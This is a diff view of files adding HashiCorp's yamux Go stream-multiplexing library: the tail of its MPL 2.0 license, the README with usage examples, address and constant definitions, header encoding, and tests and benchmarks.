Licensable by such Contributor to use, reproduce, make available,
|
||||
modify, display, perform, distribute, and otherwise exploit its
|
||||
Contributions, either on an unmodified basis, with Modifications, or
|
||||
as part of a Larger Work; and
|
||||
|
||||
b. under Patent Claims of such Contributor to make, use, sell, offer for
|
||||
sale, have made, import, and otherwise transfer either its
|
||||
Contributions or its Contributor Version.
|
||||
|
||||
2.2. Effective Date
|
||||
|
||||
The licenses granted in Section 2.1 with respect to any Contribution
|
||||
become effective for each Contribution on the date the Contributor first
|
||||
distributes such Contribution.
|
||||
|
||||
2.3. Limitations on Grant Scope
|
||||
|
||||
The licenses granted in this Section 2 are the only rights granted under
|
||||
this License. No additional rights or licenses will be implied from the
|
||||
distribution or licensing of Covered Software under this License.
|
||||
Notwithstanding Section 2.1(b) above, no patent license is granted by a
|
||||
Contributor:
|
||||
|
||||
a. for any code that a Contributor has removed from Covered Software; or
|
||||
|
||||
b. for infringements caused by: (i) Your and any other third party's
|
||||
modifications of Covered Software, or (ii) the combination of its
|
||||
Contributions with other software (except as part of its Contributor
|
||||
Version); or
|
||||
|
||||
c. under Patent Claims infringed by Covered Software in the absence of
|
||||
its Contributions.
|
||||
|
||||
This License does not grant any rights in the trademarks, service marks,
|
||||
or logos of any Contributor (except as may be necessary to comply with
|
||||
the notice requirements in Section 3.4).
|
||||
|
||||
2.4. Subsequent Licenses
|
||||
|
||||
No Contributor makes additional grants as a result of Your choice to
|
||||
distribute the Covered Software under a subsequent version of this
|
||||
License (see Section 10.2) or under the terms of a Secondary License (if
|
||||
permitted under the terms of Section 3.3).
|
||||
|
||||
2.5. Representation
|
||||
|
||||
Each Contributor represents that the Contributor believes its
|
||||
Contributions are its original creation(s) or it has sufficient rights to
|
||||
grant the rights to its Contributions conveyed by this License.
|
||||
|
||||
2.6. Fair Use
|
||||
|
||||
This License is not intended to limit any rights You have under
|
||||
applicable copyright doctrines of fair use, fair dealing, or other
|
||||
equivalents.
|
||||
|
||||
2.7. Conditions
|
||||
|
||||
Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in
|
||||
Section 2.1.
|
||||
|
||||
|
||||
3. Responsibilities
|
||||
|
||||
3.1. Distribution of Source Form
|
||||
|
||||
All distribution of Covered Software in Source Code Form, including any
|
||||
Modifications that You create or to which You contribute, must be under
|
||||
the terms of this License. You must inform recipients that the Source
|
||||
Code Form of the Covered Software is governed by the terms of this
|
||||
License, and how they can obtain a copy of this License. You may not
|
||||
attempt to alter or restrict the recipients' rights in the Source Code
|
||||
Form.
|
||||
|
||||
3.2. Distribution of Executable Form
|
||||
|
||||
If You distribute Covered Software in Executable Form then:
|
||||
|
||||
a. such Covered Software must also be made available in Source Code Form,
|
||||
as described in Section 3.1, and You must inform recipients of the
|
||||
Executable Form how they can obtain a copy of such Source Code Form by
|
||||
reasonable means in a timely manner, at a charge no more than the cost
|
||||
of distribution to the recipient; and
|
||||
|
||||
b. You may distribute such Executable Form under the terms of this
|
||||
License, or sublicense it under different terms, provided that the
|
||||
license for the Executable Form does not attempt to limit or alter the
|
||||
recipients' rights in the Source Code Form under this License.
|
||||
|
||||
3.3. Distribution of a Larger Work
|
||||
|
||||
You may create and distribute a Larger Work under terms of Your choice,
|
||||
provided that You also comply with the requirements of this License for
|
||||
the Covered Software. If the Larger Work is a combination of Covered
|
||||
Software with a work governed by one or more Secondary Licenses, and the
|
||||
Covered Software is not Incompatible With Secondary Licenses, this
|
||||
License permits You to additionally distribute such Covered Software
|
||||
under the terms of such Secondary License(s), so that the recipient of
|
||||
the Larger Work may, at their option, further distribute the Covered
|
||||
Software under the terms of either this License or such Secondary
|
||||
License(s).
|
||||
|
||||
3.4. Notices
|
||||
|
||||
You may not remove or alter the substance of any license notices
|
||||
(including copyright notices, patent notices, disclaimers of warranty, or
|
||||
limitations of liability) contained within the Source Code Form of the
|
||||
Covered Software, except that You may alter any license notices to the
|
||||
extent required to remedy known factual inaccuracies.
|
||||
|
||||
3.5. Application of Additional Terms
|
||||
|
||||
You may choose to offer, and to charge a fee for, warranty, support,
|
||||
indemnity or liability obligations to one or more recipients of Covered
|
||||
Software. However, You may do so only on Your own behalf, and not on
|
||||
behalf of any Contributor. You must make it absolutely clear that any
|
||||
such warranty, support, indemnity, or liability obligation is offered by
|
||||
You alone, and You hereby agree to indemnify every Contributor for any
|
||||
liability incurred by such Contributor as a result of warranty, support,
|
||||
indemnity or liability terms You offer. You may include additional
|
||||
disclaimers of warranty and limitations of liability specific to any
|
||||
jurisdiction.
|
||||
|
||||
4. Inability to Comply Due to Statute or Regulation
|
||||
|
||||
If it is impossible for You to comply with any of the terms of this License
|
||||
with respect to some or all of the Covered Software due to statute,
|
||||
judicial order, or regulation then You must: (a) comply with the terms of
|
||||
this License to the maximum extent possible; and (b) describe the
|
||||
limitations and the code they affect. Such description must be placed in a
|
||||
text file included with all distributions of the Covered Software under
|
||||
this License. Except to the extent prohibited by statute or regulation,
|
||||
such description must be sufficiently detailed for a recipient of ordinary
|
||||
skill to be able to understand it.
|
||||
|
||||
5. Termination
|
||||
|
||||
5.1. The rights granted under this License will terminate automatically if You
|
||||
fail to comply with any of its terms. However, if You become compliant,
|
||||
then the rights granted under this License from a particular Contributor
|
||||
are reinstated (a) provisionally, unless and until such Contributor
|
||||
explicitly and finally terminates Your grants, and (b) on an ongoing
|
||||
basis, if such Contributor fails to notify You of the non-compliance by
|
||||
some reasonable means prior to 60 days after You have come back into
|
||||
compliance. Moreover, Your grants from a particular Contributor are
|
||||
reinstated on an ongoing basis if such Contributor notifies You of the
|
||||
non-compliance by some reasonable means, this is the first time You have
|
||||
received notice of non-compliance with this License from such
|
||||
Contributor, and You become compliant prior to 30 days after Your receipt
|
||||
of the notice.
|
||||
|
||||
5.2. If You initiate litigation against any entity by asserting a patent
|
||||
infringement claim (excluding declaratory judgment actions,
|
||||
counter-claims, and cross-claims) alleging that a Contributor Version
|
||||
directly or indirectly infringes any patent, then the rights granted to
|
||||
You by any and all Contributors for the Covered Software under Section
|
||||
2.1 of this License shall terminate.
|
||||
|
||||
5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user
|
||||
license agreements (excluding distributors and resellers) which have been
|
||||
validly granted by You or Your distributors under this License prior to
|
||||
termination shall survive termination.
|
||||
|
||||
6. Disclaimer of Warranty
|
||||
|
||||
Covered Software is provided under this License on an "as is" basis,
|
||||
without warranty of any kind, either expressed, implied, or statutory,
|
||||
including, without limitation, warranties that the Covered Software is free
|
||||
of defects, merchantable, fit for a particular purpose or non-infringing.
|
||||
The entire risk as to the quality and performance of the Covered Software
|
||||
is with You. Should any Covered Software prove defective in any respect,
|
||||
You (not any Contributor) assume the cost of any necessary servicing,
|
||||
repair, or correction. This disclaimer of warranty constitutes an essential
|
||||
part of this License. No use of any Covered Software is authorized under
|
||||
this License except under this disclaimer.
|
||||
|
||||
7. Limitation of Liability
|
||||
|
||||
Under no circumstances and under no legal theory, whether tort (including
|
||||
negligence), contract, or otherwise, shall any Contributor, or anyone who
|
||||
distributes Covered Software as permitted above, be liable to You for any
|
||||
direct, indirect, special, incidental, or consequential damages of any
|
||||
character including, without limitation, damages for lost profits, loss of
|
||||
goodwill, work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses, even if such party shall have been
|
||||
informed of the possibility of such damages. This limitation of liability
|
||||
shall not apply to liability for death or personal injury resulting from
|
||||
such party's negligence to the extent applicable law prohibits such
|
||||
limitation. Some jurisdictions do not allow the exclusion or limitation of
|
||||
incidental or consequential damages, so this exclusion and limitation may
|
||||
not apply to You.
|
||||
|
||||
8. Litigation
|
||||
|
||||
Any litigation relating to this License may be brought only in the courts
|
||||
of a jurisdiction where the defendant maintains its principal place of
|
||||
business and such litigation shall be governed by laws of that
|
||||
jurisdiction, without reference to its conflict-of-law provisions. Nothing
|
||||
in this Section shall prevent a party's ability to bring cross-claims or
|
||||
counter-claims.
|
||||
|
||||
9. Miscellaneous
|
||||
|
||||
This License represents the complete agreement concerning the subject
|
||||
matter hereof. If any provision of this License is held to be
|
||||
unenforceable, such provision shall be reformed only to the extent
|
||||
necessary to make it enforceable. Any law or regulation which provides that
|
||||
the language of a contract shall be construed against the drafter shall not
|
||||
be used to construe this License against a Contributor.
|
||||
|
||||
|
||||
10. Versions of the License
|
||||
|
||||
10.1. New Versions
|
||||
|
||||
Mozilla Foundation is the license steward. Except as provided in Section
|
||||
10.3, no one other than the license steward has the right to modify or
|
||||
publish new versions of this License. Each version will be given a
|
||||
distinguishing version number.
|
||||
|
||||
10.2. Effect of New Versions
|
||||
|
||||
You may distribute the Covered Software under the terms of the version
|
||||
of the License under which You originally received the Covered Software,
|
||||
or under the terms of any subsequent version published by the license
|
||||
steward.
|
||||
|
||||
10.3. Modified Versions
|
||||
|
||||
If you create software not governed by this License, and you want to
|
||||
create a new license for such software, you may create and use a
|
||||
modified version of this License if you rename the license and remove
|
||||
any references to the name of the license steward (except to note that
|
||||
such modified license differs from this License).
|
||||
|
||||
10.4. Distributing Source Code Form that is Incompatible With Secondary
|
||||
Licenses If You choose to distribute Source Code Form that is
|
||||
Incompatible With Secondary Licenses under the terms of this version of
|
||||
the License, the notice described in Exhibit B of this License must be
|
||||
attached.
|
||||
|
||||
Exhibit A - Source Code Form License Notice
|
||||
|
||||
This Source Code Form is subject to the
|
||||
terms of the Mozilla Public License, v.
|
||||
2.0. If a copy of the MPL was not
|
||||
distributed with this file, You can
|
||||
obtain one at
|
||||
http://mozilla.org/MPL/2.0/.
|
||||
|
||||
If it is not possible or desirable to put the notice in a particular file,
|
||||
then You may include the notice in a location (such as a LICENSE file in a
|
||||
relevant directory) where a recipient would be likely to look for such a
|
||||
notice.
|
||||
|
||||
You may add additional accurate notices of copyright ownership.
|
||||
|
||||
Exhibit B - "Incompatible With Secondary Licenses" Notice
|
||||
|
||||
This Source Code Form is "Incompatible
|
||||
With Secondary Licenses", as defined by
|
||||
the Mozilla Public License, v. 2.0.
|
||||
+86
@@ -0,0 +1,86 @@
|
||||
# Yamux
|
||||
|
||||
Yamux (Yet another Multiplexer) is a multiplexing library for Golang.
|
||||
It relies on an underlying connection to provide reliability
|
||||
and ordering, such as TCP or Unix domain sockets, and provides
|
||||
stream-oriented multiplexing. It is inspired by SPDY but is not
|
||||
interoperable with it.
|
||||
|
||||
Yamux features include:
|
||||
|
||||
* Bi-directional streams
|
||||
* Streams can be opened by either client or server
|
||||
* Useful for NAT traversal
|
||||
* Server-side push support
|
||||
* Flow control
|
||||
* Avoid starvation
|
||||
* Back-pressure to prevent overwhelming a receiver
|
||||
* Keep Alives
|
||||
* Enables persistent connections over a load balancer
|
||||
* Efficient
|
||||
* Enables thousands of logical streams with low overhead
|
||||
|
||||
## Documentation
|
||||
|
||||
For complete documentation, see the associated [Godoc](http://godoc.org/github.com/hashicorp/yamux).
|
||||
|
||||
## Specification
|
||||
|
||||
The full specification for Yamux is provided in the `spec.md` file.
|
||||
It can be used as a guide to implementors of interoperable libraries.
|
||||
|
||||
## Usage
|
||||
|
||||
Using Yamux is remarkably simple:
|
||||
|
||||
```go
|
||||
|
||||
func client() {
|
||||
// Get a TCP connection
|
||||
conn, err := net.Dial(...)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Setup client side of yamux
|
||||
session, err := yamux.Client(conn, nil)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Open a new stream
|
||||
stream, err := session.Open()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Stream implements net.Conn
|
||||
stream.Write([]byte("ping"))
|
||||
}
|
||||
|
||||
func server() {
|
||||
// Accept a TCP connection
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Setup server side of yamux
|
||||
session, err := yamux.Server(conn, nil)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Accept a stream
|
||||
stream, err := session.Accept()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Listen for a message
|
||||
buf := make([]byte, 4)
|
||||
stream.Read(buf)
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
// hasAddr is used to get the address from the underlying connection
|
||||
type hasAddr interface {
|
||||
LocalAddr() net.Addr
|
||||
RemoteAddr() net.Addr
|
||||
}
|
||||
|
||||
// yamuxAddr is used when we cannot get the underlying address
|
||||
type yamuxAddr struct {
|
||||
Addr string
|
||||
}
|
||||
|
||||
func (*yamuxAddr) Network() string {
|
||||
return "yamux"
|
||||
}
|
||||
|
||||
func (y *yamuxAddr) String() string {
|
||||
return fmt.Sprintf("yamux:%s", y.Addr)
|
||||
}
|
||||
|
||||
// Addr is used to get the address of the listener.
|
||||
func (s *Session) Addr() net.Addr {
|
||||
return s.LocalAddr()
|
||||
}
|
||||
|
||||
// LocalAddr is used to get the local address of the
|
||||
// underlying connection.
|
||||
func (s *Session) LocalAddr() net.Addr {
|
||||
addr, ok := s.conn.(hasAddr)
|
||||
if !ok {
|
||||
return &yamuxAddr{"local"}
|
||||
}
|
||||
return addr.LocalAddr()
|
||||
}
|
||||
|
||||
// RemoteAddr is used to get the address of remote end
|
||||
// of the underlying connection
|
||||
func (s *Session) RemoteAddr() net.Addr {
|
||||
addr, ok := s.conn.(hasAddr)
|
||||
if !ok {
|
||||
return &yamuxAddr{"remote"}
|
||||
}
|
||||
return addr.RemoteAddr()
|
||||
}
|
||||
|
||||
// LocalAddr returns the local address
|
||||
func (s *Stream) LocalAddr() net.Addr {
|
||||
return s.session.LocalAddr()
|
||||
}
|
||||
|
||||
// RemoteAddr returns the remote address
|
||||
func (s *Stream) RemoteAddr() net.Addr {
|
||||
return s.session.RemoteAddr()
|
||||
}
|
||||
+243
@@ -0,0 +1,243 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func BenchmarkPing(b *testing.B) {
|
||||
client, _ := testClientServer(b)
|
||||
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
rtt, err := client.Ping()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
if rtt == 0 {
|
||||
b.Fatalf("bad: %v", rtt)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkAccept(b *testing.B) {
|
||||
client, server := testClientServer(b)
|
||||
|
||||
doneCh := make(chan struct{})
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
go func() {
|
||||
defer close(doneCh)
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
stream, err := server.AcceptStream()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
stream.Close()
|
||||
}
|
||||
}()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
stream, err := client.Open()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
stream.Close()
|
||||
}
|
||||
<-doneCh
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv32(b *testing.B) {
|
||||
const payloadSize = 32
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv64(b *testing.B) {
|
||||
const payloadSize = 64
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv128(b *testing.B) {
|
||||
const payloadSize = 128
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv256(b *testing.B) {
|
||||
const payloadSize = 256
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv512(b *testing.B) {
|
||||
const payloadSize = 512
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv1024(b *testing.B) {
|
||||
const payloadSize = 1024
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv2048(b *testing.B) {
|
||||
const payloadSize = 2048
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv4096(b *testing.B) {
|
||||
const payloadSize = 4096
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvLarge(b *testing.B) {
|
||||
const sendSize = 512 * 1024 * 1024 //512 MB
|
||||
const recvSize = 4 * 1024 //4 KB
|
||||
benchmarkSendRecv(b, sendSize, recvSize)
|
||||
}
|
||||
|
||||
func benchmarkSendRecv(b *testing.B, sendSize, recvSize int) {
|
||||
client, server := testClientServer(b)
|
||||
|
||||
sendBuf := make([]byte, sendSize)
|
||||
recvBuf := make([]byte, recvSize)
|
||||
errCh := make(chan error, 1)
|
||||
|
||||
b.SetBytes(int64(sendSize))
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
go func() {
|
||||
stream, err := server.AcceptStream()
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
switch {
|
||||
case sendSize == recvSize:
|
||||
for i := 0; i < b.N; i++ {
|
||||
if _, err := stream.Read(recvBuf); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
case recvSize > sendSize:
|
||||
errCh <- fmt.Errorf("bad test case; recvSize was: %d and sendSize was: %d, but recvSize must be <= sendSize!", recvSize, sendSize)
|
||||
return
|
||||
|
||||
default:
|
||||
chunks := sendSize / recvSize
|
||||
for i := 0; i < b.N; i++ {
|
||||
for j := 0; j < chunks; j++ {
|
||||
if _, err := stream.Read(recvBuf); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
errCh <- nil
|
||||
}()
|
||||
|
||||
stream, err := client.Open()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
if _, err := stream.Write(sendBuf); err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
drainErrorsUntil(b, errCh, 1, 0, "")
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel32(b *testing.B) {
|
||||
const payloadSize = 32
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel64(b *testing.B) {
|
||||
const payloadSize = 64
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel128(b *testing.B) {
|
||||
const payloadSize = 128
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel256(b *testing.B) {
|
||||
const payloadSize = 256
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel512(b *testing.B) {
|
||||
const payloadSize = 512
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel1024(b *testing.B) {
|
||||
const payloadSize = 1024
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel2048(b *testing.B) {
|
||||
const payloadSize = 2048
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel4096(b *testing.B) {
|
||||
const payloadSize = 4096
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func benchmarkSendRecvParallel(b *testing.B, sendSize int) {
|
||||
client, server := testClientServer(b)
|
||||
|
||||
sendBuf := make([]byte, sendSize)
|
||||
discarder := io.Discard.(io.ReaderFrom)
|
||||
b.SetBytes(int64(sendSize))
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
b.RunParallel(func(pb *testing.PB) {
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
stream, err := server.AcceptStream()
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
if _, err := discarder.ReadFrom(stream); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
errCh <- nil
|
||||
}()
|
||||
|
||||
stream, err := client.Open()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
|
||||
for pb.Next() {
|
||||
if _, err := stream.Write(sendBuf); err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
stream.Close()
|
||||
|
||||
drainErrorsUntil(b, errCh, 1, 0, "")
|
||||
})
|
||||
}
|
||||
+182
@@ -0,0 +1,182 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// NetError implements net.Error
|
||||
type NetError struct {
|
||||
err error
|
||||
timeout bool
|
||||
temporary bool
|
||||
}
|
||||
|
||||
func (e *NetError) Error() string {
|
||||
return e.err.Error()
|
||||
}
|
||||
|
||||
func (e *NetError) Timeout() bool {
|
||||
return e.timeout
|
||||
}
|
||||
|
||||
func (e *NetError) Temporary() bool {
|
||||
return e.temporary
|
||||
}
|
||||
|
||||
var (
|
||||
// ErrInvalidVersion means we received a frame with an
|
||||
// invalid version
|
||||
ErrInvalidVersion = fmt.Errorf("invalid protocol version")
|
||||
|
||||
// ErrInvalidMsgType means we received a frame with an
|
||||
// invalid message type
|
||||
ErrInvalidMsgType = fmt.Errorf("invalid msg type")
|
||||
|
||||
// ErrSessionShutdown is used if there is a shutdown during
|
||||
// an operation
|
||||
ErrSessionShutdown = fmt.Errorf("session shutdown")
|
||||
|
||||
// ErrStreamsExhausted is returned if we have no more
|
||||
// stream ids to issue
|
||||
ErrStreamsExhausted = fmt.Errorf("streams exhausted")
|
||||
|
||||
// ErrDuplicateStream is used if a duplicate stream is
|
||||
// opened inbound
|
||||
ErrDuplicateStream = fmt.Errorf("duplicate stream initiated")
|
||||
|
||||
// ErrReceiveWindowExceeded indicates the window was exceeded
|
||||
ErrRecvWindowExceeded = fmt.Errorf("recv window exceeded")
|
||||
|
||||
// ErrTimeout is used when we reach an IO deadline
|
||||
ErrTimeout = &NetError{
|
||||
err: fmt.Errorf("i/o deadline reached"),
|
||||
|
||||
// Error should meet net.Error interface for timeouts for compatability
|
||||
// with standard library expectations, such as http servers.
|
||||
timeout: true,
|
||||
}
|
||||
|
||||
// ErrStreamClosed is returned when using a closed stream
|
||||
ErrStreamClosed = fmt.Errorf("stream closed")
|
||||
|
||||
// ErrUnexpectedFlag is set when we get an unexpected flag
|
||||
ErrUnexpectedFlag = fmt.Errorf("unexpected flag")
|
||||
|
||||
// ErrRemoteGoAway is used when we get a go away from the other side
|
||||
ErrRemoteGoAway = fmt.Errorf("remote end is not accepting connections")
|
||||
|
||||
// ErrConnectionReset is sent if a stream is reset. This can happen
|
||||
// if the backlog is exceeded, or if there was a remote GoAway.
|
||||
ErrConnectionReset = fmt.Errorf("connection reset")
|
||||
|
||||
// ErrConnectionWriteTimeout indicates that we hit the "safety valve"
|
||||
// timeout writing to the underlying stream connection.
|
||||
ErrConnectionWriteTimeout = fmt.Errorf("connection write timeout")
|
||||
|
||||
// ErrKeepAliveTimeout is sent if a missed keepalive caused the stream close
|
||||
ErrKeepAliveTimeout = fmt.Errorf("keepalive timeout")
|
||||
)
|
||||
|
||||
const (
|
||||
// protoVersion is the only version we support
|
||||
protoVersion uint8 = 0
|
||||
)
|
||||
|
||||
const (
|
||||
// Data is used for data frames. They are followed
|
||||
// by length bytes worth of payload.
|
||||
typeData uint8 = iota
|
||||
|
||||
// WindowUpdate is used to change the window of
|
||||
// a given stream. The length indicates the delta
|
||||
// update to the window.
|
||||
typeWindowUpdate
|
||||
|
||||
// Ping is sent as a keep-alive or to measure
|
||||
// the RTT. The StreamID and Length value are echoed
|
||||
// back in the response.
|
||||
typePing
|
||||
|
||||
// GoAway is sent to terminate a session. The StreamID
|
||||
// should be 0 and the length is an error code.
|
||||
typeGoAway
|
||||
)
|
||||
|
||||
const (
|
||||
// SYN is sent to signal a new stream. May
|
||||
// be sent with a data payload
|
||||
flagSYN uint16 = 1 << iota
|
||||
|
||||
// ACK is sent to acknowledge a new stream. May
|
||||
// be sent with a data payload
|
||||
flagACK
|
||||
|
||||
// FIN is sent to half-close the given stream.
|
||||
// May be sent with a data payload.
|
||||
flagFIN
|
||||
|
||||
// RST is used to hard close a given stream.
|
||||
flagRST
|
||||
)
|
||||
|
||||
const (
|
||||
// initialStreamWindow is the initial stream window size
|
||||
initialStreamWindow uint32 = 256 * 1024
|
||||
)
|
||||
|
||||
const (
|
||||
// goAwayNormal is sent on a normal termination
|
||||
goAwayNormal uint32 = iota
|
||||
|
||||
// goAwayProtoErr sent on a protocol error
|
||||
goAwayProtoErr
|
||||
|
||||
// goAwayInternalErr sent on an internal error
|
||||
goAwayInternalErr
|
||||
)
|
||||
|
||||
const (
|
||||
sizeOfVersion = 1
|
||||
sizeOfType = 1
|
||||
sizeOfFlags = 2
|
||||
sizeOfStreamID = 4
|
||||
sizeOfLength = 4
|
||||
headerSize = sizeOfVersion + sizeOfType + sizeOfFlags +
|
||||
sizeOfStreamID + sizeOfLength
|
||||
)
|
||||
|
||||
type header []byte
|
||||
|
||||
func (h header) Version() uint8 {
|
||||
return h[0]
|
||||
}
|
||||
|
||||
func (h header) MsgType() uint8 {
|
||||
return h[1]
|
||||
}
|
||||
|
||||
func (h header) Flags() uint16 {
|
||||
return binary.BigEndian.Uint16(h[2:4])
|
||||
}
|
||||
|
||||
func (h header) StreamID() uint32 {
|
||||
return binary.BigEndian.Uint32(h[4:8])
|
||||
}
|
||||
|
||||
func (h header) Length() uint32 {
|
||||
return binary.BigEndian.Uint32(h[8:12])
|
||||
}
|
||||
|
||||
func (h header) String() string {
|
||||
return fmt.Sprintf("Vsn:%d Type:%d Flags:%d StreamID:%d Length:%d",
|
||||
h.Version(), h.MsgType(), h.Flags(), h.StreamID(), h.Length())
|
||||
}
|
||||
|
||||
func (h header) encode(msgType uint8, flags uint16, streamID uint32, length uint32) {
|
||||
h[0] = protoVersion
|
||||
h[1] = msgType
|
||||
binary.BigEndian.PutUint16(h[2:4], flags)
|
||||
binary.BigEndian.PutUint32(h[4:8], streamID)
|
||||
binary.BigEndian.PutUint32(h[8:12], length)
|
||||
}
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestConst(t *testing.T) {
|
||||
if protoVersion != 0 {
|
||||
t.Fatalf("bad: %v", protoVersion)
|
||||
}
|
||||
|
||||
if typeData != 0 {
|
||||
t.Fatalf("bad: %v", typeData)
|
||||
}
|
||||
if typeWindowUpdate != 1 {
|
||||
t.Fatalf("bad: %v", typeWindowUpdate)
|
||||
}
|
||||
if typePing != 2 {
|
||||
t.Fatalf("bad: %v", typePing)
|
||||
}
|
||||
if typeGoAway != 3 {
|
||||
t.Fatalf("bad: %v", typeGoAway)
|
||||
}
|
||||
|
||||
if flagSYN != 1 {
|
||||
t.Fatalf("bad: %v", flagSYN)
|
||||
}
|
||||
if flagACK != 2 {
|
||||
t.Fatalf("bad: %v", flagACK)
|
||||
}
|
||||
if flagFIN != 4 {
|
||||
t.Fatalf("bad: %v", flagFIN)
|
||||
}
|
||||
if flagRST != 8 {
|
||||
t.Fatalf("bad: %v", flagRST)
|
||||
}
|
||||
|
||||
if goAwayNormal != 0 {
|
||||
t.Fatalf("bad: %v", goAwayNormal)
|
||||
}
|
||||
if goAwayProtoErr != 1 {
|
||||
t.Fatalf("bad: %v", goAwayProtoErr)
|
||||
}
|
||||
if goAwayInternalErr != 2 {
|
||||
t.Fatalf("bad: %v", goAwayInternalErr)
|
||||
}
|
||||
|
||||
if headerSize != 12 {
|
||||
t.Fatalf("bad header size")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEncodeDecode(t *testing.T) {
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeWindowUpdate, flagACK|flagRST, 1234, 4321)
|
||||
|
||||
if hdr.Version() != protoVersion {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.MsgType() != typeWindowUpdate {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.Flags() != flagACK|flagRST {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.StreamID() != 1234 {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.Length() != 4321 {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
}
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
module github.com/hashicorp/yamux
|
||||
|
||||
go 1.20
|
||||
Whitespace-only changes.
+118
@@ -0,0 +1,118 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Config is used to tune the Yamux session
|
||||
type Config struct {
|
||||
// AcceptBacklog is used to limit how many streams may be
|
||||
// waiting an accept.
|
||||
AcceptBacklog int
|
||||
|
||||
// EnableKeepalive is used to do a period keep alive
|
||||
